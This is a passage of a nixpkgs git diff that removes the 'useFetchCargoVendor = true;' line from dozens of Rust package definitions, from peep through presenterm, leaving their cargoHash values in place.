   cargoHash = "sha256-eDR/Z4v8G7/XPzWjJdZ5Fg2qULdn/SuNmvE/GVqSVJ8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pe/peep/package.nix b/pkgs/by-name/pe/peep/package.nix
index d09c3c892c29..535b217910ec 100644
--- a/pkgs/by-name/pe/peep/package.nix
+++ b/pkgs/by-name/pe/peep/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6Y7ZI0kIPE7uMMOkXgm75JMEec090xZPBJFJr9DaswA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9VybBzW+saOjtQiyGu2pKHm94yCPw35Y56mhayCeW/c=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pe/peertube-viewer/package.nix b/pkgs/by-name/pe/peertube-viewer/package.nix
index 4aa5dca89d33..e123a29576aa 100644
--- a/pkgs/by-name/pe/peertube-viewer/package.nix
+++ b/pkgs/by-name/pe/peertube-viewer/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ZzeWk01migUrKR7GndtNo0kLYSCUXCg0H0eCXgrDXaM==";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Pf8Jj8XGYbNOAyYEBdAysOK92S3S7bZHerQh/2UlrbQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pe/perseus-cli/package.nix b/pkgs/by-name/pe/perseus-cli/package.nix
index f5acdfc3047d..d0c84cd37839 100644
--- a/pkgs/by-name/pe/perseus-cli/package.nix
+++ b/pkgs/by-name/pe/perseus-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IYjLx9/4oWSXa4jhOtGw1GOHmrR7LQ6bWyN5zbOuEFs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9McjhdS6KrFgtWIaP0qKsUYpPxGQjNX7SM9gJ/aJGwc=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/pe/pest-ide-tools/package.nix b/pkgs/by-name/pe/pest-ide-tools/package.nix
index 933156c3e5d6..21199c001a27 100644
--- a/pkgs/by-name/pe/pest-ide-tools/package.nix
+++ b/pkgs/by-name/pe/pest-ide-tools/package.nix
@@ -8,7 +8,7 @@
 rustPlatform.buildRustPackage rec {
   pname = "pest-ide-tools";
   version = "0.3.11";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-wLdVIAwrnAk8IRp4RhO3XgfYtNw2S07uAHB1mokZ2lk=";
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/pf/pfetch-rs/package.nix b/pkgs/by-name/pf/pfetch-rs/package.nix
index b01632e6a4fb..09c6ae8937a0 100644
--- a/pkgs/by-name/pf/pfetch-rs/package.nix
+++ b/pkgs/by-name/pf/pfetch-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Kgoo8piv4pNqzw9zQSEj7POSK6l+0KMvaNbvMp+bpF8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-36MjBzSzEOVaSnd6dTqYnV+Pi+5EDoUskkYsvYMGrgg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pg/pgcat/package.nix b/pkgs/by-name/pg/pgcat/package.nix
index e0e8945250a8..4f56d4a423ad 100644
--- a/pkgs/by-name/pg/pgcat/package.nix
+++ b/pkgs/by-name/pg/pgcat/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DHXUhAAOmPSt4aVp93I1y69of+MEboXJBZH50mzQTm8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6x/IPFncfOPxautW7gVUh5LG0hK4h6T4QL7B82Moi6o=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ph/phetch/package.nix b/pkgs/by-name/ph/phetch/package.nix
index a198f7c0443b..96d26fac5675 100644
--- a/pkgs/by-name/ph/phetch/package.nix
+++ b/pkgs/by-name/ph/phetch/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-J+ka7/B37WzVPPE2Krkd/TIiVwuKfI2QYWmT0JHgBGQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2lbQAM3gdytXsoMFzKwLWA1hvQIJf1vBdMRpYx/VLVg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ph/phraze/package.nix b/pkgs/by-name/ph/phraze/package.nix
index 4d955ec9fa12..97996590efc0 100644
--- a/pkgs/by-name/ph/phraze/package.nix
+++ b/pkgs/by-name/ph/phraze/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
 
   doCheck = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hXo1pdbOZ/qNDTm3CcmOIgef7u6Imn25luJdsCVeg5I=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/pi/piano-rs/package.nix b/pkgs/by-name/pi/piano-rs/package.nix
index bedc763202d2..1473f5d48589 100644
--- a/pkgs/by-name/pi/piano-rs/package.nix
+++ b/pkgs/by-name/pi/piano-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qZeH9xXQPIOJ87mvLahnJB3DuEgLX0EAXPvECgxNlq0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ygRyYFLNBCLnRhmO6DoK8fwvy/Y9jrOjWChzxc3CRPo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pi/pict-rs/package.nix b/pkgs/by-name/pi/pict-rs/package.nix
index c57f590b7e6f..209b9509b1b5 100644
--- a/pkgs/by-name/pi/pict-rs/package.nix
+++ b/pkgs/by-name/pi/pict-rs/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-q0h+H3260CSpZemVuyaiwSHDi8yKXUX8Df9ih3IzAWo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JJB5d9N2/tu2SYudNNguQGocQdyFAMvBea/Q3V7pYOw=";
 
   # needed for internal protobuf c wrapper library
diff --git a/pkgs/by-name/pi/pid1/package.nix b/pkgs/by-name/pi/pid1/package.nix
index 58880b79418b..e6b635b37050 100644
--- a/pkgs/by-name/pi/pid1/package.nix
+++ b/pkgs/by-name/pi/pid1/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2dnQj3AQxedyq1YvHKt+lVXNEtuB5sMRSCqX9YeifzI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ldHtmbLoSFVxb0B3Oj21UOFNSXwu8xAPhpE8jBqOwr4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pi/piday25/package.nix b/pkgs/by-name/pi/piday25/package.nix
index 5fdc920df1ad..38142f4bd7bb 100644
--- a/pkgs/by-name/pi/piday25/package.nix
+++ b/pkgs/by-name/pi/piday25/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-58ZBRmB990Tp+/nkuRZA+8cjCRFUBzdzu93Sk5uvKOE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3uztB5/VevFyEz3S+VlAUPgDrNDJcwaTnHuXXYAX+MY=";
 
   # upstream does not have any tests
diff --git a/pkgs/by-name/pi/pijul/package.nix b/pkgs/by-name/pi/pijul/package.nix
index abc134daaf98..13d911712134 100644
--- a/pkgs/by-name/pi/pijul/package.nix
+++ b/pkgs/by-name/pi/pijul/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jy0mzgLw9iWuoWe2ictMTL3cHnjJ5kzs6TAK+pdm28g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-d2IlBtR3j6SF8AAagUQftCOqTqN70rDMlHkA9byxXyk=";
 
   doCheck = false;
diff --git a/pkgs/by-name/pi/pik/package.nix b/pkgs/by-name/pi/pik/package.nix
index a658cfd05bae..f60730046bcc 100644
--- a/pkgs/by-name/pi/pik/package.nix
+++ b/pkgs/by-name/pi/pik/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WEmDjHT3MHcHnQaElCD+dCMJPPp3x0svKLxoEoDm6XU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P4dU6daW1cHQ9ta93n/T9Ko+hxZ39lclBuXQk9qkwg4=";
 
   passthru.tests.version = testers.testVersion { package = pik; };
diff --git a/pkgs/by-name/pi/pimsync/package.nix b/pkgs/by-name/pi/pimsync/package.nix
index 0e3db37d2b31..26c265759c34 100644
--- a/pkgs/by-name/pi/pimsync/package.nix
+++ b/pkgs/by-name/pi/pimsync/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-EHDGiyDGNr6cPj2N2cTV0f7I9vmM/WIZTsPR1f+HFIE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/6YjyKB/xOCTNZlKewddEaZ1ZN2PC5dQoP0A5If67MA=";
 
   PIMSYNC_VERSION = finalAttrs.version;
diff --git a/pkgs/by-name/pi/pineflash/package.nix b/pkgs/by-name/pi/pineflash/package.nix
index 57771752ae6c..4a85f6526ad7 100644
--- a/pkgs/by-name/pi/pineflash/package.nix
+++ b/pkgs/by-name/pi/pineflash/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4tcwEok36vuXbtlZNUkLNw1kHFQPBEJM/gWRhRWNLPg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OgUWOtqgGCRNYCrdMa8IAfxbbYqv+1WwubvfYybuAQU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pi/pinyin-tool/package.nix b/pkgs/by-name/pi/pinyin-tool/package.nix
index bbd3e0b42097..712eed87555c 100644
--- a/pkgs/by-name/pi/pinyin-tool/package.nix
+++ b/pkgs/by-name/pi/pinyin-tool/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1gwqwxlvdrm4sdyqkvpvvfi6jh6qqn6qybn0z66wm06k62f8zj5b";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SOeyk2uWCdO99ooQc2L1eXlV77lR4DLBK6PnV6Ur49A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pi/pipe-rename/package.nix b/pkgs/by-name/pi/pipe-rename/package.nix
index b6b0979d1c0b..5a23b123eb4d 100644
--- a/pkgs/by-name/pi/pipe-rename/package.nix
+++ b/pkgs/by-name/pi/pipe-rename/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-av/ig76O7t3dB4Irfi3yqyL30nkJJCzs5EayWRbpOI0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0+m11mPR/s45MeY90WM3vmnGk6Xb0j2DJnZrEZ/EX1g=";
 
   nativeCheckInputs = [ python3 ];
diff --git a/pkgs/by-name/pi/pipes-rs/package.nix b/pkgs/by-name/pi/pipes-rs/package.nix
index 9f1dee272b65..7cb25f64d883 100644
--- a/pkgs/by-name/pi/pipes-rs/package.nix
+++ b/pkgs/by-name/pi/pipes-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-NrBmkA7sV1RhfG9KEqQNMR5s0l2u66b7KK0toDjQIps=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0up9S3+NjBV8zsvsyVANvITisMSBXsab6jFwt19gnQk=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/pi/piping-server-rust/package.nix b/pkgs/by-name/pi/piping-server-rust/package.nix
index cbdc1e60553a..1b45b67e6838 100644
--- a/pkgs/by-name/pi/piping-server-rust/package.nix
+++ b/pkgs/by-name/pi/piping-server-rust/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-8kYaANVWmBOncTdhtjjbaYnEFQeuWjemdz/kTjwj2fw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m6bYkewBE0ZloDVUhUslS+dgPyoK+eay7rrP3+c00mo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pi/pipr/package.nix b/pkgs/by-name/pi/pipr/package.nix
index c7dd6096514f..b60057b66b27 100644
--- a/pkgs/by-name/pi/pipr/package.nix
+++ b/pkgs/by-name/pi/pipr/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-6jtUNhib6iveuZ7qUKK7AllyMKFpZ8OUUaIieFqseY8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SRIv/dZcyKm2E7c5/LtMCDnh+SDqPhJ01GZtkj0RgA0=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/pi/pixi-pack/package.nix b/pkgs/by-name/pi/pixi-pack/package.nix
index 17d72dfda4b9..7001ce9db0b4 100644
--- a/pkgs/by-name/pi/pixi-pack/package.nix
+++ b/pkgs/by-name/pi/pixi-pack/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-ccKJtGKhfYiJm8/2yOlCZtRECvax1dTgtNOtabzfhI4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+rwG9lPK0Ec7CCtVccwGrFOqfZqeXNA3WsN1QivABQA=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/pi/pixi/package.nix b/pkgs/by-name/pi/pixi/package.nix
index d67740eb75f2..bc05569b4a48 100644
--- a/pkgs/by-name/pi/pixi/package.nix
+++ b/pkgs/by-name/pi/pixi/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-HkaDc7RauVhuuu4R88xlgiAM9pv6RPgyvaVoPO0PHqA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0X+3/fQLgUSSnDVAociKqk4rJfKHJtKdXIIaSUzI18g=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pi/pizarra/package.nix b/pkgs/by-name/pi/pizarra/package.nix
index 5cb6f80b00a8..1f112ae8d4d9 100644
--- a/pkgs/by-name/pi/pizarra/package.nix
+++ b/pkgs/by-name/pi/pizarra/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vnjhveX3EVIfJLiHWhlvhoPcRx1a8Nnjj7hIaPgU3Zw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-b1sMO5BF3js1WxUM80kowyb+6bpXiUKoTgg0QtKaXJY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pi/pizauth/package.nix b/pkgs/by-name/pi/pizauth/package.nix
index 43d6b697f892..fda6138a37b1 100644
--- a/pkgs/by-name/pi/pizauth/package.nix
+++ b/pkgs/by-name/pi/pizauth/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lvG50Ej0ius4gHEsyMKOXLD20700mc4iWJxHK5DvYJc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WyQIk74AKfsv0noafCGMRS6o+Lq6CeP99AFSdYq+QHg=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/pk/pkarr/package.nix b/pkgs/by-name/pk/pkarr/package.nix
index 60d6d1174605..a342709b910e 100644
--- a/pkgs/by-name/pk/pkarr/package.nix
+++ b/pkgs/by-name/pk/pkarr/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zJe/hCdGVqs2TTwxnceGVXt0ZFRheSRYzjSRHytYXks=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-y20vVO714WPcB2aYzo0LBuJhy224bsHA7O9Dj00ViWE=";
 
   meta = {
diff --git a/pkgs/by-name/pl/planus/package.nix b/pkgs/by-name/pl/planus/package.nix
index a4c4f5254bf6..6a48bfa33c56 100644
--- a/pkgs/by-name/pl/planus/package.nix
+++ b/pkgs/by-name/pl/planus/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Tulp2gD4CbNaxRAc+7/rWY4SjXp66Kui9/PuKfnaeMs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3wZ6kmWzGjS2pnBDBi3t2A9kSlWUyG5ohsGfK2ViTcY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pl/please/package.nix b/pkgs/by-name/pl/please/package.nix
index d991fee33649..0331fdb5f414 100644
--- a/pkgs/by-name/pl/please/package.nix
+++ b/pkgs/by-name/pl/please/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bQ91uCDA2HKuiBmHZ9QP4V6tM6c7hRvECqXzfC6EEnI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iKRLq2G0XYZFM/k0V6GVtx/Pl4rdfGaD4EVN34FLlOg=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/pl/pls/package.nix b/pkgs/by-name/pl/pls/package.nix
index 9347cbe5186a..fbe9fd69c3a6 100644
--- a/pkgs/by-name/pl/pls/package.nix
+++ b/pkgs/by-name/pl/pls/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ofwdhGpqYlADDY2BLe0SkoHWqSeRNtQaXK61zWVFXzw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P+4jRuakDUPaICJPsNJ6nXfhm09K/GC/VA9bsTXIMvc=";
 
   meta = {
diff --git a/pkgs/by-name/pn/pngquant/package.nix b/pkgs/by-name/pn/pngquant/package.nix
index 2c70fa3032e4..f7a73c3e4e00 100644
--- a/pkgs/by-name/pn/pngquant/package.nix
+++ b/pkgs/by-name/pn/pngquant/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-W+/y79KkSVHqBybouUazGVfTQAuelXvn6EXtu+TW7j4=";
   cargoPatches = [
     # https://github.com/kornelski/pngquant/issues/347
diff --git a/pkgs/by-name/pn/pnpm-shell-completion/package.nix b/pkgs/by-name/pn/pnpm-shell-completion/package.nix
index 305abd2a1bfd..477eb795c6d7 100644
--- a/pkgs/by-name/pn/pnpm-shell-completion/package.nix
+++ b/pkgs/by-name/pn/pnpm-shell-completion/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bc2ZVHQF+lSAmhy/fvdiVfg9uzPPcXYrtiNChjkjHtA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JL9bWVHmdSktOEF70WMOmZKdZwO/gNDp0GPDMYteR1E=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/po/podlet/package.nix b/pkgs/by-name/po/podlet/package.nix
index c23733bf3e76..5369aaf28c3d 100644
--- a/pkgs/by-name/po/podlet/package.nix
+++ b/pkgs/by-name/po/podlet/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-STkYCaXBoQSmFKpMdsKzqFGXHh9s0jeGi5K2itj8jmc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FeYGNyBtMCiufeX9Eik3QXPxqOGEW/ZbvwFn50mTag8=";
 
   meta = {
diff --git a/pkgs/by-name/po/pokeget-rs/package.nix b/pkgs/by-name/po/pokeget-rs/package.nix
index 21d894a17250..cfe4f0822c62 100644
--- a/pkgs/by-name/po/pokeget-rs/package.nix
+++ b/pkgs/by-name/po/pokeget-rs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nP5NPBnqEaGo1QvhdMHSPtDjJqOxF+TodvqmMgTfQ8M=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/po/polarity/package.nix b/pkgs/by-name/po/polarity/package.nix
index 274e9f8b1ad0..cdf266e6dba3 100644
--- a/pkgs/by-name/po/polarity/package.nix
+++ b/pkgs/by-name/po/polarity/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-viwSbYxNcmxNEaPNNThjKxmQx5KO8bEV23KibnCwMQg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-23qr4bEAsN75ONnNmym9eWH38fRoMmP1EkmOaka73Ko=";
 
   passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
diff --git a/pkgs/by-name/po/polkadot/package.nix b/pkgs/by-name/po/polkadot/package.nix
index e6d7b934e20f..b6e84de58432 100644
--- a/pkgs/by-name/po/polkadot/package.nix
+++ b/pkgs/by-name/po/polkadot/package.nix
@@ -44,7 +44,6 @@ rustPlatform.buildRustPackage rec {
     rm .git_commit
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-U3roe7rQL1BaHr3rKV1Dl7Lhjic3pZlxo2DpD9C2ong=";
 
   buildType = "production";
diff --git a/pkgs/by-name/po/polylux2pdfpc/package.nix b/pkgs/by-name/po/polylux2pdfpc/package.nix
index a2d535413c53..5e27f3d7f50a 100644
--- a/pkgs/by-name/po/polylux2pdfpc/package.nix
+++ b/pkgs/by-name/po/polylux2pdfpc/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
   };
   sourceRoot = "${src.name}/${dirname}";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9nA18f+Dwps45M/OIY0jtx7QgyJDTVUsPndFdNBKHCQ=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/po/pomodoro/package.nix b/pkgs/by-name/po/pomodoro/package.nix
index c34dd208893c..8f7d48d2e0f8 100644
--- a/pkgs/by-name/po/pomodoro/package.nix
+++ b/pkgs/by-name/po/pomodoro/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-ZA1q1YVJcdSUF9NTikyT3vrRnqbsu5plzRI2gMu+qnQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oXOf9G0BMSbFFAsmRaAZzaquFva1i1gJ4ISqJkqSx4k=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/po/pomsky/package.nix b/pkgs/by-name/po/pomsky/package.nix
index 73dbffd89916..a0d7eb6063f4 100644
--- a/pkgs/by-name/po/pomsky/package.nix
+++ b/pkgs/by-name/po/pomsky/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BoA59P0jzV08hlFO7NPB9E+fdpYB9G50dNggFkexc/c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/tJwJ/xF5a2NEP5A/3swq75wCk9qxgbp7ilH1PqcWJY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/po/pop-launcher/package.nix b/pkgs/by-name/po/pop-launcher/package.nix
index 873bdfe7aceb..364a668bc6b8 100644
--- a/pkgs/by-name/po/pop-launcher/package.nix
+++ b/pkgs/by-name/po/pop-launcher/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     libxkbcommon
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Htre2gzAlNfxBkBvMMtjYbUcuwNw+tB4DI18iBA+g34=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/po/porsmo/package.nix b/pkgs/by-name/po/porsmo/package.nix
index 4ae2993d59d1..bf3b968578a8 100644
--- a/pkgs/by-name/po/porsmo/package.nix
+++ b/pkgs/by-name/po/porsmo/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bYPUSrGJKoNLFkIiGuXraYoaYn/HKSP8IiH3gtyWfmw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zkeQY0YNcKfyaWHmv1N61dBggsvFzz1fgkjXkyYK3Lg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/po/portmod/package.nix b/pkgs/by-name/po/portmod/package.nix
index 32156ade1c36..a25205cc297e 100644
--- a/pkgs/by-name/po/portmod/package.nix
+++ b/pkgs/by-name/po/portmod/package.nix
@@ -26,7 +26,6 @@ let
     inherit src version;
     pname = "portmod-rust";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-hLci2O+eliCgscvvC4ejn6ZDtFQnM5K6f0luu2cYIHM=";
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/po/postgres-lsp/package.nix b/pkgs/by-name/po/postgres-lsp/package.nix
index 20d486ca3cd7..0bf35148ca6e 100644
--- a/pkgs/by-name/po/postgres-lsp/package.nix
+++ b/pkgs/by-name/po/postgres-lsp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lUZpjX3HljOXi0Wt2xZCUru8uinWlngLEs5wlqfFiJA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/po/pouf/package.nix b/pkgs/by-name/po/pouf/package.nix
index 780120135f6f..37b8956f2388 100644
--- a/pkgs/by-name/po/pouf/package.nix
+++ b/pkgs/by-name/po/pouf/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tW86b9a7u1jyfmHjwjs+5DaUujRZH+VhGQsj0CBj0yk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cgRf8zpl2hOhaGew4dwzuwdy0+7wSvMtYN3llVi3uYw=";
 
   postInstall = "make PREFIX=$out copy-data";
diff --git a/pkgs/by-name/po/powerstation/package.nix b/pkgs/by-name/po/powerstation/package.nix
index 19e559a16662..fc2e7e9e603d 100644
--- a/pkgs/by-name/po/powerstation/package.nix
+++ b/pkgs/by-name/po/powerstation/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2NCUDR85LAWGYrxruHLSipgX41N/jgy/P34qfm+bOb4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4ACSwxGSPEdbGeVL44SN4qCd7ActL1T0xKuebPvTHPk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pq/pqrs/package.nix b/pkgs/by-name/pq/pqrs/package.nix
index 24f68672f396..287f05ae59da 100644
--- a/pkgs/by-name/pq/pqrs/package.nix
+++ b/pkgs/by-name/pq/pqrs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-0oSSoGZga0OGAKUNsLmKkUl8N1l0pVi4KIqrKJbeVVU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P3yTmECj0K0mjWUiWlQCwuQVbnbVR1xFV5cE8Uo3U90=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/pr/pr-tracker/package.nix b/pkgs/by-name/pr/pr-tracker/package.nix
index dfee8b6db957..e197e2a35c3a 100644
--- a/pkgs/by-name/pr/pr-tracker/package.nix
+++ b/pkgs/by-name/pr/pr-tracker/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-l+bji9uJp8n4//wbbbu8vd3rDICr/XEpDs1ukHxQMcA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D8O1lFoTJOQmFsjql4qIZqA5+iCnESydDDBJiDpBnzs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/pr/present-cli/package.nix b/pkgs/by-name/pr/present-cli/package.nix
index e165e1943736..8dbfb50e5cef 100644
--- a/pkgs/by-name/pr/present-cli/package.nix
+++ b/pkgs/by-name/pr/present-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "aMy8Qn1kUM7jmvD9nGjBk1XXQF1rTLfnPDJOh9d4uIg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rLLhZL8WQs68+nwCrJ9Dej3T1JU9t+ZrBhSMxAdOfbw=";
 
   # required for tests
diff --git a/pkgs/by-name/pr/presenterm/package.nix b/pkgs/by-name/pr/presenterm/package.nix
index 442b1fb89044..5640dda41624 100644
--- a/pkgs/by-name/pr/presenterm/package.nix
+++ b/pkgs/by-name/pr/presenterm/package.nix
@@ -39,7 +39,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "sixel"
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MOX5QWxN7uEnvm9JU9jRW8Z2D2LMle+H1rOmfMxz100=";
 
   env = lib.optionalAttrs (isDarwin && isx86_64) {
diff --git a/pkgs/by-name/pr/preserves-tools/package.nix b/pkgs/by-name/pr/preserves-tools/package.nix
index 7ea5b3790610..a17afdcbad0c 100644
--- a/pkgs/by-name/pr/preserves-tools/package.nix
+++ b/pkgs/by-name/pr/preserves-tools/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Uyh5mXCypX3TDxxJtnTe6lBoVI8aqdG56ywn7htDGUY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m07/fNuF78+PtG/trXZq9gllmKTt0w5BSMsq2UTKBbY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/pr/prettypst/package.nix b/pkgs/by-name/pr/prettypst/package.nix
index cc821c9f4834..c02c74f503b5 100644
--- a/pkgs/by-name/pr/prettypst/package.nix
+++ b/pkgs/by-name/pr/prettypst/package.nix
